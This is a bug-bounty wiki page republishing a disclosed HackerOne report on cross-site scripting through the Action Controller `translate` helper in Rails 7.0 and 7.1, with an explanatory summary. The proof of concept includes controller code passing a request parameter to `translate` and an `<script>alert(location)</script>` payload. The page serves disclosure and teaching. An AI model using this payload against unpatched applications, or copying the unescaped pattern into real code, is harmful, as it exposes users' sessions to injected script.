Skip to content
XSS Disclosed report Intermediate CVE-2020-15169

XSS when using `translate` in Action Controller (Rails 7.0, 7.1)

The `translate` helper in Action Controller marks error messages and default values as HTML-safe without escaping, so a key containing `_html` and a tag value, or an unescaped `default` value, leads to cross-site scripting. An attacker could inject script through a controller parameter passed to `translate`.

ooooooo_q Follow

Originally disclosed on HackerOne

  • Triaged in 34 days
  • Fixed in 49 days
  • Disclosed after 9 months

I have confirmed two ways that XSS can occur when using translate in Action Controller. ( https://github.com/rails/rails/blob/v7.1.2/actionpack/lib/abstract_controller/translation.rb#L15 ) This does not occur in Action View because the implementation of tanslate is different. ( https://github.com/rails/rails/blob/v7.1.2/actionview/lib/action_view/helpers/translation_helper.rb#L73 )

One is when the key value contains _html and also contains the tag value. XSS is possible because the error message returned by I18n contains the value of key and is marked as html_safe. https://github.com/rails/rails/blob/v7.1.2/activesupport/lib/active_support/html_safe_translation.rb#L35

The other case is when the key value contains _html and the value passed as default is not escaped. This was fixed in Action View as CVE-2020-15169, but it is not modified on the Action Controller side.

PoC

❯ ruby -v
ruby 3.2.2 (2023-03-30 revision e51014f9c0) [arm64-darwin22]

❯ rails new rails_server -G -M -O -C -A -J -T 
# Rails 7.1.2

❯ cd rails_server

config/routes.rb

Ruby
Rails.application.routes.draw do
   get "/articles/missing_key", to: "articles#missing_key"
   get "/articles/default", to: "articles#default"
end

app/controllers/articles_controller.rb

Ruby
class ArticlesController < ApplicationController

  def missing_key  
    @message = t(params[:text])
    render :show
  end

  def default  
    @message = t("message_html", default: "<script>alert(location)</script>")
    render :show
  end
end

app/views/articles/show.html.erb

HTML
<h1><%= @message %></h1>

<%# Confirm translate is escape in Action View %>
<p><%= t("<script>alert(location)</script>_html") %></p>
<p><%= t("message_html", default: "<script>alert(location)</script>") %></p>

start server

❯ bundle exec rails s

You can confirm the XSS by accessing the URL below.

Impact

XSS occurs if pass an untrusted value to translate in the controller.

I confirmed that it occurs in versions 7.1 and 7.0, but the XSS did not occur in 6.1. I'm guessing it's an effect of this commit. https://github.com/rails/rails/commit/a5247bb90895f843c45fb095a4072e8ef30eaa4e

The original report as published on HackerOne, by ooooooo_q. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Action Controller `translate` helper marks I18n error messages and default values as HTML-safe without escaping, unlike the Action View helper which was fixed for CVE-2020-15169.

Impact

XSS occurs if an untrusted value is passed to `translate` in the controller; the report confirms it in Rails 7.0 and 7.1 but not 6.1.

What the attacker needed

Rails 7.0 or 7.1 application; Controller passes untrusted input to translate; Victim visits a crafted URL

How it was found

  1. Create a new Rails 7.1.2 application.
  2. Add routes for `/articles/missing_key` and `/articles/default`.
  3. In the controller, call `t(params[:text])` for the missing key action and `t("message_html", default: "<script>alert(location)</script>")` for the default action.
  4. Render the message in a view.
  5. Start the server and visit the two URLs to confirm the script executes.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a web page shows text that came from a user, it must be escaped so that characters like `<` and `>` are displayed as text rather than treated as HTML. Here, a Rails helper called `translate` was marking such text as safe HTML, so a script tag in a URL parameter could run in the victim's browser. This is called cross-site scripting (XSS).

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by ooooooo_q

View all

53 more disclosed reports, best first.

More from Ruby on Rails

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.